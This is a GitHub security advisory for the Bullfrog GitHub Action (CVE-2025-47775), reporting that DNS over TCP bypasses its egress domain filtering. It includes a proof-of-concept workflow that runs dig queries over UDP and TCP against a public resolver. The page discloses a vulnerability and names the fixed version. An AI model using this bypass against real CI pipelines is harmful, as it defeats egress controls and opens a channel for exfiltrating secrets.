GitHub Advisoryadvisory · GitHub Actions

GHSA-m32f-fjw2-37v3 Bullfrog's DNS over TCP bypasses domain filtering

MEDIUM Published 2025-05-15 Modified 2025-05-15 Official page ↗
Aliases
CVE-2025-47775
Ecosystem
GitHub Actions
Packages
bullfrogsec/bullfrog
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-201
Reviewed
2025-05-15

Affected packages

• GitHub Actions bullfrogsec/bullfrog: < 0.8.4 → fixed in 0.8.4

Description

Summary Using tcp breaks blocking and allows DNS exfiltration. PoC ``` name: test on: push: branches: • "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: • name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status • name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com • name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` Impact sandbox bypass

Related

Alias · CVE (1)

  • CVE-2025-47775 Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. vulnerability

Weakness · CWE (1)

  • CWE-201 Insertion of Sensitive Information Into Sent Data weakness

References